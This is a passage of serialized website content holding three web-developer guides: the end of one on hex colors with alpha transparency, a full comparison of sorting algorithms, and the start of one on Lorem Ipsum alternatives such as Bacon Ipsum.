*\u002F\n",[1560,5236,5237,5239,5242],{"class":1562,"line":365},[1560,5238,5156],{"class":1570},[1560,5240,5241],{"class":5159},"#ff660000;",[1560,5243,5244],{"class":1649}," \u002F* fully transparent orange *\u002F\n",[33,5246,5248],{"id":5247},"alpha-value-conversion","Alpha Value Conversion",[16,5250,5251,5252,5255,5256,5259],{},"The alpha channel is a hex number from ",[143,5253,5254],{},"00"," to ",[143,5257,5258],{},"ff",", representing 0% to 100% opacity:",[193,5261,5262,5275],{},[196,5263,5264],{},[199,5265,5266,5269,5272],{},[202,5267,5268],{},"Hex Alpha",[202,5270,5271],{},"Decimal",[202,5273,5274],{},"Percentage",[211,5276,5277,5289,5302,5315,5328,5340,5353,5366,5379,5392],{},[199,5278,5279,5283,5286],{},[216,5280,5281],{},[143,5282,5254],{},[216,5284,5285],{},"0",[216,5287,5288],{},"0% (transparent)",[199,5290,5291,5296,5299],{},[216,5292,5293],{},[143,5294,5295],{},"33",[216,5297,5298],{},"51",[216,5300,5301],{},"20%",[199,5303,5304,5309,5312],{},[216,5305,5306],{},[143,5307,5308],{},"66",[216,5310,5311],{},"102",[216,5313,5314],{},"40%",[199,5316,5317,5322,5325],{},[216,5318,5319],{},[143,5320,5321],{},"80",[216,5323,5324],{},"128",[216,5326,5327],{},"~50%",[199,5329,5330,5335,5338],{},[216,5331,5332],{},[143,5333,5334],{},"99",[216,5336,5337],{},"153",[216,5339,2162],{},[199,5341,5342,5347,5350],{},[216,5343,5344],{},[143,5345,5346],{},"bb",[216,5348,5349],{},"187",[216,5351,5352],{},"~73%",[199,5354,5355,5360,5363],{},[216,5356,5357],{},[143,5358,5359],{},"cc",[216,5361,5362],{},"204",[216,5364,5365],{},"80%",[199,5367,5368,5373,5376],{},[216,5369,5370],{},[143,5371,5372],{},"dd",[216,5374,5375],{},"221",[216,5377,5378],{},"~87%",[199,5380,5381,5386,5389],{},[216,5382,5383],{},[143,5384,5385],{},"ee",[216,5387,5388],{},"238",[216,5390,5391],{},"~93%",[199,5393,5394,5398,5401],{},[216,5395,5396],{},[143,5397,5258],{},[216,5399,5400],{},"255",[216,5402,5403],{},"100% (opaque)",[16,5405,5406,5407,5409,5410,5412,5413,5415],{},"For quick mental math, ",[143,5408,5321],{}," is approximately 50%, ",[143,5411,5359],{}," is approximately 80%, and ",[143,5414,5258],{}," is fully opaque.",[33,5417,5419],{"id":5418},"converting-percentage-to-hex","Converting Percentage to Hex",[16,5421,5422],{},"To convert a percentage to hex alpha:",[135,5424,5426],{"className":1607,"code":5425,"language":1609,"meta":141,"style":141},"function percentToHexAlpha(percent) {\n  return Math.round(percent * 2.55).toString(16).padStart(2, '0');\n}\n\u002F\u002F percentToHexAlpha(50) → '80'\n\u002F\u002F percentToHexAlpha(80) → 'cc'\n",[143,5427,5428,5433,5438,5442,5447],{"__ignoreMap":141},[1560,5429,5430],{"class":1562,"line":1563},[1560,5431,5432],{},"function percentToHexAlpha(percent) {\n",[1560,5434,5435],{"class":1562,"line":337},[1560,5436,5437],{},"  return Math.round(percent * 2.55).toString(16).padStart(2, '0');\n",[1560,5439,5440],{"class":1562,"line":343},[1560,5441,1585],{},[1560,5443,5444],{"class":1562,"line":365},[1560,5445,5446],{},"\u002F\u002F percentToHexAlpha(50) → '80'\n",[1560,5448,5449],{"class":1562,"line":889},[1560,5450,5451],{},"\u002F\u002F percentToHexAlpha(80) → 'cc'\n",[11,5453,5455],{"id":5454},"_4-digit-shorthand-with-alpha","4-Digit Shorthand With Alpha",[16,5457,5458,5459,5461,5462,1459,5464,5461,5466,5468],{},"Just as ",[143,5460,5133],{}," expands to ",[143,5463,5136],{},[143,5465,5191],{},[143,5467,5184],{}," by doubling each digit:",[135,5470,5472],{"className":1554,"code":5471,"language":1556,"meta":141,"style":141},"background: #f60c; \u002F* #ff6600cc — orange at 80% *\u002F\nbackground: #f660; \u002F* #ff666600 — transparent *\u002F\nbackground: #0f0a; \u002F* #00ff00aa — green at 67% *\u002F\n",[143,5473,5474,5484,5494],{"__ignoreMap":141},[1560,5475,5476,5478,5481],{"class":1562,"line":1563},[1560,5477,5156],{"class":1570},[1560,5479,5480],{"class":5159},"#f60c;",[1560,5482,5483],{"class":1649}," \u002F* #ff6600cc — orange at 80% *\u002F\n",[1560,5485,5486,5488,5491],{"class":1562,"line":337},[1560,5487,5156],{"class":1570},[1560,5489,5490],{"class":5159},"#f660;",[1560,5492,5493],{"class":1649}," \u002F* #ff666600 — transparent *\u002F\n",[1560,5495,5496,5498,5501,5503],{"class":1562,"line":343},[1560,5497,5156],{"class":1570},[1560,5499,5500],{"class":5159},"#0f0a",[1560,5502,3664],{"class":1570},[1560,5504,5505],{"class":1649},"\u002F* #00ff00aa — green at 67% *\u002F\n",[16,5507,5508],{},"The same readability caveat from 3-digit shorthand applies: only use 4-digit shorthand when the color-plus-alpha combination is immediately recognizable.",[11,5510,5512],{"id":5511},"browser-support","Browser Support",[16,5514,5515],{},"8-digit and 4-digit hex colors are supported in all modern browsers:",[193,5517,5518,5528],{},[196,5519,5520],{},[199,5521,5522,5525],{},[202,5523,5524],{},"Browser",[202,5526,5527],{},"Version",[211,5529,5530,5538,5546,5554,5562],{},[199,5531,5532,5535],{},[216,5533,5534],{},"Chrome",[216,5536,5537],{},"62+",[199,5539,5540,5543],{},[216,5541,5542],{},"Firefox",[216,5544,5545],{},"49+",[199,5547,5548,5551],{},[216,5549,5550],{},"Safari",[216,5552,5553],{},"10+",[199,5555,5556,5559],{},[216,5557,5558],{},"Edge",[216,5560,5561],{},"79+",[199,5563,5564,5567],{},[216,5565,5566],{},"iOS Safari",[216,5568,5553],{},[16,5570,5571],{},"If you need to support older browsers, include a fallback:",[135,5573,5575],{"className":1554,"code":5574,"language":1556,"meta":141,"style":141},"background: rgba(255, 102, 0, 0.8); \u002F* fallback *\u002F\nbackground: #ff6600cc;               \u002F* modern *\u002F\n",[143,5576,5577,5588],{"__ignoreMap":141},[1560,5578,5579,5581,5583,5585],{"class":1562,"line":1563},[1560,5580,5165],{"class":1570},[1560,5582,5168],{"class":1566},[1560,5584,5171],{"class":1570},[1560,5586,5587],{"class":1649},"\u002F* fallback *\u002F\n",[1560,5589,5590,5592,5594],{"class":1562,"line":337},[1560,5591,5156],{"class":1570},[1560,5593,5221],{"class":5159},[1560,5595,5596],{"class":1649},"               \u002F* modern *\u002F\n",[11,5598,5600],{"id":5599},"practical-applications","Practical Applications",[33,5602,5604],{"id":5603},"overlay-tints","Overlay Tints",[16,5606,5607],{},"Hex-with-alpha simplifies overlay backgrounds where you previously needed a separate pseudo-element:",[135,5609,5611],{"className":1554,"code":5610,"language":1556,"meta":141,"style":141},"\u002F* Before: extra element *\u002F\n.overlay::before {\n  content: '';\n  position: absolute;\n  inset: 0;\n  background: rgba(0, 0, 0, 0.5);\n}\n\n\u002F* After: single property *\u002F\n.overlay {\n  background: #00000080;\n}\n",[143,5612,5613,5618,5625,5638,5650,5661,5690,5694,5698,5703,5710,5721],{"__ignoreMap":141},[1560,5614,5615],{"class":1562,"line":1563},[1560,5616,5617],{"class":1649},"\u002F* Before: extra element *\u002F\n",[1560,5619,5620,5623],{"class":1562,"line":337},[1560,5621,5622],{"class":1566},".overlay::before",[1560,5624,1571],{"class":1570},[1560,5626,5627,5630,5632,5636],{"class":1562,"line":343},[1560,5628,5629],{"class":1576},"  content",[1560,5631,1663],{"class":1570},[1560,5633,5635],{"class":5634},"sZZnC","''",[1560,5637,2228],{"class":1570},[1560,5639,5640,5643,5645,5648],{"class":1562,"line":365},[1560,5641,5642],{"class":1576},"  position",[1560,5644,1663],{"class":1570},[1560,5646,5647],{"class":1576},"absolute",[1560,5649,2228],{"class":1570},[1560,5651,5652,5655,5657,5659],{"class":1562,"line":889},[1560,5653,5654],{"class":1576},"  inset",[1560,5656,1663],{"class":1570},[1560,5658,5285],{"class":1576},[1560,5660,2228],{"class":1570},[1560,5662,5663,5666,5668,5671,5673,5675,5677,5679,5681,5683,5685,5688],{"class":1562,"line":1710},[1560,5664,5665],{"class":1576},"  background",[1560,5667,1663],{"class":1570},[1560,5669,5670],{"class":1576},"rgba",[1560,5672,1688],{"class":1570},[1560,5674,5285],{"class":1576},[1560,5676,1459],{"class":1570},[1560,5678,5285],{"class":1576},[1560,5680,1459],{"class":1570},[1560,5682,5285],{"class":1576},[1560,5684,1459],{"class":1570},[1560,5686,5687],{"class":1576},"0.5",[1560,5689,1744],{"class":1570},[1560,5691,5692],{"class":1562,"line":1717},[1560,5693,1585],{"class":1570},[1560,5695,5696],{"class":1562,"line":1747},[1560,5697,1702],{"emptyLinePlaceholder":363},[1560,5699,5700],{"class":1562,"line":2507},[1560,5701,5702],{"class":1649},"\u002F* After: single property *\u002F\n",[1560,5704,5705,5708],{"class":1562,"line":2524},[1560,5706,5707],{"class":1566},".overlay",[1560,5709,1571],{"class":1570},[1560,5711,5712,5714,5716,5719],{"class":1562,"line":2529},[1560,5713,5665],{"class":1576},[1560,5715,1663],{"class":1570},[1560,5717,5718],{"class":1576},"#00000080",[1560,5720,2228],{"class":1570},[1560,5722,5723],{"class":1562,"line":2534},[1560,5724,1585],{"class":1570},[33,5726,5728],{"id":5727},"hover-states","Hover States",[16,5730,5731],{},"Add transparency on hover without a separate rgba declaration:",[135,5733,5735],{"className":1554,"code":5734,"language":1556,"meta":141,"style":141},".button {\n  background: #6366f1;       \u002F* solid indigo *\u002F\n}\n\n.button:hover {\n  background: #6366f1cc;     \u002F* slightly transparent on hover *\u002F\n}\n",[143,5736,5737,5744,5759,5763,5767,5774,5789],{"__ignoreMap":141},[1560,5738,5739,5742],{"class":1562,"line":1563},[1560,5740,5741],{"class":1566},".button",[1560,5743,1571],{"class":1570},[1560,5745,5746,5748,5750,5753,5756],{"class":1562,"line":337},[1560,5747,5665],{"class":1576},[1560,5749,1663],{"class":1570},[1560,5751,5752],{"class":1576},"#6366f1",[1560,5754,5755],{"class":1570},";       ",[1560,5757,5758],{"class":1649},"\u002F* solid indigo *\u002F\n",[1560,5760,5761],{"class":1562,"line":343},[1560,5762,1585],{"class":1570},[1560,5764,5765],{"class":1562,"line":365},[1560,5766,1702],{"emptyLinePlaceholder":363},[1560,5768,5769,5772],{"class":1562,"line":889},[1560,5770,5771],{"class":1566},".button:hover",[1560,5773,1571],{"class":1570},[1560,5775,5776,5778,5780,5783,5786],{"class":1562,"line":1710},[1560,5777,5665],{"class":1576},[1560,5779,1663],{"class":1570},[1560,5781,5782],{"class":1576},"#6366f1cc",[1560,5784,5785],{"class":1570},";     ",[1560,5787,5788],{"class":1649},"\u002F* slightly transparent on hover *\u002F\n",[1560,5790,5791],{"class":1562,"line":1717},[1560,5792,1585],{"class":1570},[33,5794,5796],{"id":5795},"design-system-tokens","Design System Tokens",[16,5798,5799],{},"Consistent alpha values become easier to express when your design tokens stay in hex:",[135,5801,5803],{"className":1554,"code":5802,"language":1556,"meta":141,"style":141},":root {\n  --color-primary: #6366f1;\n  --color-primary-subtle: #6366f120; \u002F* 12% opacity *\u002F\n  --color-primary-hover: #6366f1cc;  \u002F* 80% opacity *\u002F\n}\n",[143,5804,5805,5811,5822,5837,5851],{"__ignoreMap":141},[1560,5806,5807,5809],{"class":1562,"line":1563},[1560,5808,2207],{"class":1566},[1560,5810,1571],{"class":1570},[1560,5812,5813,5816,5818,5820],{"class":1562,"line":337},[1560,5814,5815],{"class":2219},"  --color-primary",[1560,5817,1663],{"class":1570},[1560,5819,5752],{"class":1576},[1560,5821,2228],{"class":1570},[1560,5823,5824,5827,5829,5832,5834],{"class":1562,"line":343},[1560,5825,5826],{"class":2219},"  --color-primary-subtle",[1560,5828,1663],{"class":1570},[1560,5830,5831],{"class":1576},"#6366f120",[1560,5833,3664],{"class":1570},[1560,5835,5836],{"class":1649},"\u002F* 12% opacity *\u002F\n",[1560,5838,5839,5842,5844,5846,5848],{"class":1562,"line":365},[1560,5840,5841],{"class":2219},"  --color-primary-hover",[1560,5843,1663],{"class":1570},[1560,5845,5782],{"class":1576},[1560,5847,3409],{"class":1570},[1560,5849,5850],{"class":1649},"\u002F* 80% opacity *\u002F\n",[1560,5852,5853],{"class":1562,"line":889},[1560,5854,1585],{"class":1570},[11,5856,5858],{"id":5857},"hex-alpha-vs-rgba","Hex Alpha vs rgba()",[193,5860,5861,5876],{},[196,5862,5863],{},[199,5864,5865,5868,5872],{},[202,5866,5867],{},"Feature",[202,5869,5870],{},[143,5871,5184],{},[202,5873,5874],{},[143,5875,5140],{},[211,5877,5878,5889,5900,5911,5922],{},[199,5879,5880,5883,5886],{},[216,5881,5882],{},"Notation",[216,5884,5885],{},"Pure hex",[216,5887,5888],{},"Mixed decimal\u002Fhex",[199,5890,5891,5894,5897],{},[216,5892,5893],{},"Copy-paste from design tools",[216,5895,5896],{},"Direct",[216,5898,5899],{},"Must convert",[199,5901,5902,5905,5908],{},[216,5903,5904],{},"Alpha precision",[216,5906,5907],{},"0–255 (hex)",[216,5909,5910],{},"0–1 (decimal)",[199,5912,5913,5916,5919],{},[216,5914,5915],{},"Fallback support",[216,5917,5918],{},"Modern only",[216,5920,5921],{},"Universal",[199,5923,5924,5927,5930],{},[216,5925,5926],{},"readability",[216,5928,5929],{},"Requires hex familiarity",[216,5931,5932],{},"Intuitive percentages",[16,5934,5935],{},"Both are valid CSS. Use hex-with-alpha when your workflow is already hex-centric (design tokens, Figma exports). Use rgba() when you need maximum readability or legacy browser support.",[11,5937,1355],{"id":1354},[41,5939,5940,5946,5952,5961,5973,5979],{},[44,5941,5942,5943,5945],{},"8-digit hex ",[143,5944,5184],{}," adds a 2-digit alpha channel after the RGB channels.",[44,5947,5948,5949,5951],{},"4-digit shorthand ",[143,5950,5191],{}," expands each digit by doubling it.",[44,5953,5954,5955,5957,5958,5960],{},"Alpha ranges from ",[143,5956,5254],{}," (transparent) to ",[143,5959,5258],{}," (opaque) — the same scale as color channels.",[44,5962,5963,5964,5966,5967,5969,5970,5972],{},"Common values: ",[143,5965,5321],{}," ≈ 50%, ",[143,5968,5359],{}," ≈ 80%, ",[143,5971,5258],{}," = 100%.",[44,5974,5975,5976,5978],{},"Supported in all modern browsers; add ",[143,5977,5140],{}," fallbacks for older ones.",[44,5980,5981],{},"Use hex-with-alpha when your workflow already uses hex — no need to switch notation just for transparency.",[11,5983,286],{"id":285},[16,5985,5986,5987,468],{},"Convert hex colors with alpha to RGB and HSL formats using the ",[98,5988,5990],{"href":5989},"\u002Ftools\u002Fhex-to-rgb","Hex to RGB Converter",[2043,5992,5993],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":5995},[5996,5997,6001,6002,6003,6008,6009,6010],{"id":5126,"depth":337,"text":5127},{"id":5195,"depth":337,"text":5196,"children":5998},[5999,6000],{"id":5247,"depth":343,"text":5248},{"id":5418,"depth":343,"text":5419},{"id":5454,"depth":337,"text":5455},{"id":5511,"depth":337,"text":5512},{"id":5599,"depth":337,"text":5600,"children":6004},[6005,6006,6007],{"id":5603,"depth":343,"text":5604},{"id":5727,"depth":343,"text":5728},{"id":5795,"depth":343,"text":5796},{"id":5857,"depth":337,"text":5858},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"How #RRGGBBAA notation adds transparency to hex color codes in modern CSS.",{"immutable":363},"\u002Fguides\u002Falpha-channel-hex-colors",{"title":5121,"description":6011},"guides\u002Falpha-channel-hex-colors","G6AqfB63Tqh1KtWJFI5FWyPuLuqE11giZEkP9xsIZjg",{"id":6018,"title":6019,"body":6020,"date":2070,"description":6377,"extension":361,"meta":6378,"navigation":363,"path":6382,"readingTime":1747,"seo":6383,"stem":6384,"__hash__":6385},"guides\u002Fguides\u002Falphabetical-sort-algorithms.md","Sorting Algorithms Compared: When to Use Each Method",{"type":8,"value":6021,"toc":6365},[6022,6026,6029,6032,6036,6039,6048,6054,6060,6066,6070,6073,6165,6168,6182,6186,6189,6195,6201,6207,6213,6219,6223,6226,6229,6232,6235,6239,6242,6247,6258,6263,6274,6277,6281,6284,6304,6311,6313,6333,6335,6343,6345],[11,6023,6025],{"id":6024},"why-sorting-algorithms-matter","Why Sorting Algorithms Matter",[16,6027,6028],{},"Every time you sort a list — whether in a spreadsheet, a command line, or a web tool — an algorithm runs behind the scenes. The algorithm determines how fast the sort completes and how much memory it uses. For ten items, any algorithm works. For ten million, the choice matters.",[16,6030,6031],{},"Understanding the trade-offs helps you pick the right tool for your data, debug slow sorts, and write better code when you need custom ordering.",[11,6033,6035],{"id":6034},"the-big-four-sorting-algorithms","The Big Four Sorting Algorithms",[16,6037,6038],{},"These four algorithms cover the vast majority of real-world sorting needs.",[16,6040,6041,6044,6045,468],{},[47,6042,6043],{},"Quicksort."," Picks a pivot element, partitions the array into items less than and greater than the pivot, then recursively sorts each partition. Fast in practice, with average-case performance that beats most alternatives. Used as the default sort in many standard libraries, including V8 (JavaScript) and C's ",[143,6046,6047],{},"qsort",[16,6049,6050,6053],{},[47,6051,6052],{},"Merge sort."," Splits the array in half, recursively sorts each half, then merges the two sorted halves. Guarantees consistent performance regardless of input. Preferred when stability matters — equal elements keep their original relative order.",[16,6055,6056,6059],{},[47,6057,6058],{},"Bubble sort."," Repeatedly swaps adjacent elements that are out of order. Simple to understand and implement. Terribly slow on any real dataset. Useful only as a teaching tool or when the list is already nearly sorted.",[16,6061,6062,6065],{},[47,6063,6064],{},"Insertion sort."," Builds the sorted array one element at a time, inserting each new element into its correct position. Efficient on small or nearly sorted datasets. Often used as the base case in hybrid algorithms — when a recursive sort like quicksort reaches a small partition, it switches to insertion sort.",[11,6067,6069],{"id":6068},"time-and-space-complexity","Time and Space Complexity",[16,6071,6072],{},"The core comparison:",[193,6074,6075,6097],{},[196,6076,6077],{},[199,6078,6079,6082,6085,6088,6091,6094],{},[202,6080,6081],{},"Algorithm",[202,6083,6084],{},"Best Case",[202,6086,6087],{},"Average Case",[202,6089,6090],{},"Worst Case",[202,6092,6093],{},"Space",[202,6095,6096],{},"Stable",[211,6098,6099,6118,6134,6150],{},[199,6100,6101,6104,6107,6109,6112,6115],{},[216,6102,6103],{},"Quicksort",[216,6105,6106],{},"O(n log n)",[216,6108,6106],{},[216,6110,6111],{},"O(n²)",[216,6113,6114],{},"O(log n)",[216,6116,6117],{},"No",[199,6119,6120,6123,6125,6127,6129,6132],{},[216,6121,6122],{},"Merge sort",[216,6124,6106],{},[216,6126,6106],{},[216,6128,6106],{},[216,6130,6131],{},"O(n)",[216,6133,3057],{},[199,6135,6136,6139,6141,6143,6145,6148],{},[216,6137,6138],{},"Bubble sort",[216,6140,6131],{},[216,6142,6111],{},[216,6144,6111],{},[216,6146,6147],{},"O(1)",[216,6149,3057],{},[199,6151,6152,6155,6157,6159,6161,6163],{},[216,6153,6154],{},"Insertion sort",[216,6156,6131],{},[216,6158,6111],{},[216,6160,6111],{},[216,6162,6147],{},[216,6164,3057],{},[16,6166,6167],{},"A few things to notice:",[41,6169,6170,6173,6176,6179],{},[44,6171,6172],{},"Merge sort is the only one that guarantees O(n log n) in the worst case, but it needs O(n) extra memory",[44,6174,6175],{},"Quicksort has a scary O(n²) worst case, but it almost never happens with good pivot selection (median-of-three or randomized)",[44,6177,6178],{},"Bubble sort has the same theoretical best case as insertion sort, but insertion sort runs faster in practice due to fewer swaps",[44,6180,6181],{},"\"Stable\" means equal elements preserve their original order — critical when sorting by a secondary key",[11,6183,6185],{"id":6184},"when-to-use-each-algorithm","When to Use Each Algorithm",[16,6187,6188],{},"No single algorithm wins everywhere. Here is how to decide.",[16,6190,6191,6194],{},[47,6192,6193],{},"Small datasets (under 50 elements)."," Use insertion sort. It has low overhead and beats the recursive algorithms on tiny inputs. Most standard libraries use insertion sort internally for small partitions.",[16,6196,6197,6200],{},[47,6198,6199],{},"Large, random datasets."," Use quicksort. It has the best average-case performance and excellent cache behavior due to in-place partitioning. Randomized pivot selection eliminates the worst-case risk.",[16,6202,6203,6206],{},[47,6204,6205],{},"Large datasets requiring stability."," Use merge sort. When you need equal elements to stay in their original order — like sorting a list of employees by department while preserving hire-date order within each department — merge sort is the right choice.",[16,6208,6209,6212],{},[47,6210,6211],{},"Nearly sorted data."," Use insertion sort. It runs in nearly O(n) time when items are close to their final positions. Bubble sort also runs fast here, but insertion sort still wins due to fewer swap operations.",[16,6214,6215,6218],{},[47,6216,6217],{},"External sorting (data too large for memory)."," Use merge sort variants. External merge sort reads chunks into memory, sorts each chunk, then merges the sorted chunks from disk. Merge sort's sequential access pattern works well with disk I\u002FO.",[11,6220,6222],{"id":6221},"stability-why-it-matters","Stability: Why It Matters",[16,6224,6225],{},"A stable sort preserves the relative order of equal elements. This matters more than most people realize.",[16,6227,6228],{},"Suppose you sort a contact list first by last name, then by first name. If the second sort is unstable, the first-name order within each last-name group gets scrambled. The result looks sorted-by-first-name but jumbled-by-last-name.",[16,6230,6231],{},"The fix is simple: use a stable sort algorithm, or sort by a composite key that combines both fields into a single comparison.",[16,6233,6234],{},"Quicksort is not stable by default. Merge sort is. Insertion sort and bubble sort are stable unless implemented incorrectly.",[11,6236,6238],{"id":6237},"online-tools-vs-programming","Online Tools vs. Programming",[16,6240,6241],{},"You do not need to implement a sorting algorithm to sort data. Most of the time, you should not.",[16,6243,6244],{},[47,6245,6246],{},"When to use an online sorter:",[41,6248,6249,6252,6255],{},[44,6250,6251],{},"Quick one-off tasks — paste a list, sort, copy the result",[44,6253,6254],{},"Non-technical users who need sorted data without running scripts",[44,6256,6257],{},"Verification — compare your code's output against a trusted tool",[16,6259,6260],{},[47,6261,6262],{},"When to write code:",[41,6264,6265,6268,6271],{},[44,6266,6267],{},"Sorting is part of a larger automated pipeline",[44,6269,6270],{},"You need custom comparison logic (multi-field, locale-aware)",[44,6272,6273],{},"The dataset exceeds what a browser textarea can handle comfortably",[16,6275,6276],{},"Online tools use well-tested algorithms internally. Even if the tool runs insertion sort behind the scenes, you get correct results for lists of a few thousand lines. Performance differences between algorithms only become visible at scale.",[11,6278,6280],{"id":6279},"hybrid-approaches-in-practice","Hybrid Approaches in Practice",[16,6282,6283],{},"Real-world sort implementations rarely use a single algorithm. They combine methods.",[41,6285,6286,6292,6298],{},[44,6287,6288,6291],{},[47,6289,6290],{},"Timsort"," (Python, Java, V8): A hybrid of merge sort and insertion sort. Uses insertion sort for small runs and merges them — stable, adaptive, and fast on nearly sorted data",[44,6293,6294,6297],{},[47,6295,6296],{},"Introsort"," (C++ std::sort): Starts with quicksort, switches to heap sort if recursion depth exceeds a threshold — guarantees O(n log n) worst case",[44,6299,6300,6303],{},[47,6301,6302],{},"pdqsort"," (Rust, Go): Pattern-defeating quicksort that detects common patterns (already sorted, reverse sorted, few unique keys) and adapts its strategy",[16,6305,6306,6307,6310],{},"These hybrids are what your code actually runs when you call ",[143,6308,6309],{},".sort()",". Understanding the underlying algorithms helps you reason about performance, but you usually do not need to pick one manually.",[11,6312,1355],{"id":1354},[41,6314,6315,6318,6321,6324,6327,6330],{},[44,6316,6317],{},"Quicksort is the general-purpose champion — fast average case, in-place, but not stable",[44,6319,6320],{},"Merge sort guarantees consistent performance and stability at the cost of extra memory",[44,6322,6323],{},"Insertion sort is the best choice for small or nearly sorted datasets",[44,6325,6326],{},"Bubble sort is for learning, not production",[44,6328,6329],{},"Most standard libraries use hybrid algorithms that combine multiple methods",[44,6331,6332],{},"For everyday list sorting, online tools are faster than writing code",[11,6334,286],{"id":285},[16,6336,6337,6338,6342],{},"Drop any list into our free ",[98,6339,6341],{"href":6340},"\u002Ftools\u002Flist-sorter","List Sorter"," and see the result instantly. Choose alphabetical, numeric, length, or random mode — the tool handles the algorithm so you can focus on the output.",[11,6344,321],{"id":320},[41,6346,6347,6353,6359],{},[44,6348,6349],{},[98,6350,6352],{"href":6351},"\u002Fguides\u002Flist-sorting-guide","List Sorting Guide",[44,6354,6355],{},[98,6356,6358],{"href":6357},"\u002Fguides\u002Fdata-cleanup-tools","Data Cleanup Tools",[44,6360,6361],{},[98,6362,6364],{"href":6363},"\u002Fguides\u002Fregex-performance-tips","Regex Performance Tips",{"title":141,"searchDepth":337,"depth":337,"links":6366},[6367,6368,6369,6370,6371,6372,6373,6374,6375,6376],{"id":6024,"depth":337,"text":6025},{"id":6034,"depth":337,"text":6035},{"id":6068,"depth":337,"text":6069},{"id":6184,"depth":337,"text":6185},{"id":6221,"depth":337,"text":6222},{"id":6237,"depth":337,"text":6238},{"id":6279,"depth":337,"text":6280},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Comparison of popular sorting algorithms and their real-world performance characteristics. Know when to use quicksort, merge sort, or simpler methods.",{"keywords":6379,"immutable":363},[6380,6381],"list-sorter","alphabetical-sort-algorithms","\u002Fguides\u002Falphabetical-sort-algorithms",{"title":6019,"description":6377},"guides\u002Falphabetical-sort-algorithms","_GGbOs7dtupe9xYuBO3RS3DVEE-doW355_U9r702Fuk",{"id":6387,"title":6388,"body":6389,"date":2070,"description":6815,"extension":361,"meta":6816,"navigation":363,"path":6817,"readingTime":1710,"seo":6818,"stem":6819,"__hash__":6820},"guides\u002Fguides\u002Falternative-placeholder-text-generators.md","Alternative Placeholder Text Generators Beyond Lorem Ipsum",{"type":8,"value":6390,"toc":6799},[6391,6395,6398,6401,6405,6409,6412,6415,6442,6446,6449,6472,6476,6479,6548,6552,6556,6559,6642,6645,6649,6652,6655,6659,6662,6688,6691,6695,6762,6764,6781,6783,6791,6796],[11,6392,6394],{"id":6393},"why-look-beyond-lorem-ipsum","Why Look Beyond Lorem Ipsum?",[16,6396,6397],{},"Lorem Ipsum has served designers well for over 500 years, but it has limitations. The Latin text looks realistic at a glance, yet it carries no semantic meaning. Stakeholders sometimes treat Lorem Ipsum as finished content, and the uniform word distribution doesn't expose edge cases that real text creates.",[16,6399,6400],{},"Alternative placeholder text generators solve these problems by producing content that feels familiar within a specific domain. When you use a generator that matches your project's context, layouts face realistic stress tests early.",[11,6402,6404],{"id":6403},"domain-specific-placeholder-generators","Domain-Specific Placeholder Generators",[33,6406,6408],{"id":6407},"bacon-ipsum","Bacon Ipsum",[16,6410,6411],{},"Bacon Ipsum generates paragraphs filled with meat-related vocabulary. It works well for food industry projects, restaurant websites, or any design where you want stakeholders to immediately recognize the text as placeholder.",[16,6413,6414],{},"The generator offers both \"all meat\" and \"meat and filler\" modes. The filler mode mixes standard Lorem Ipsum words with bacon-themed terms, creating a hybrid that reads more naturally.",[135,6416,6420],{"className":6417,"code":6418,"language":6419,"meta":141,"style":141},"language-html shiki shiki-themes github-light github-dark","\u003C!-- Bacon Ipsum output example -->\n\u003Cp>Bacon ipsum dolor amet veniam shankle dolore, officia swine strip steak ullamco sed. Pork loin kevin sint, boudin labore drumstick exercitation.\u003C\u002Fp>\n","html",[143,6421,6422,6427],{"__ignoreMap":141},[1560,6423,6424],{"class":1562,"line":1563},[1560,6425,6426],{"class":1649},"\u003C!-- Bacon Ipsum output example -->\n",[1560,6428,6429,6432,6434,6437,6439],{"class":1562,"line":337},[1560,6430,6431],{"class":1570},"\u003C",[1560,6433,16],{"class":2484},[1560,6435,6436],{"class":1570},">Bacon ipsum dolor amet veniam shankle dolore, officia swine strip steak ullamco sed. Pork loin kevin sint, boudin labore drumstick exercitation.\u003C\u002F",[1560,6438,16],{"class":2484},[1560,6440,6441],{"class":1570},">\n",[33,6443,6445],{"id":6444},"hipster-ipsum","Hipster Ipsum",[16,6447,6448],{},"Hipster Ipsum fills paragraphs with artisanal, vintage, and Brooklyn-themed vocabulary. It suits creative agency websites, lifestyle brands, and portfolio projects where a playful tone keeps stakeholders engaged during reviews.",[135,6450,6452],{"className":6417,"code":6451,"language":6419,"meta":141,"style":141},"\u003C!-- Hipster Ipsum output example -->\n\u003Cp>Cold-pressed organic kombucha mustache, fixie bicycle rights artisan pour-over. Vinyl craft beer tattooed schlitz, irony thundercats green juice.\u003C\u002Fp>\n",[143,6453,6454,6459],{"__ignoreMap":141},[1560,6455,6456],{"class":1562,"line":1563},[1560,6457,6458],{"class":1649},"\u003C!-- Hipster Ipsum output example 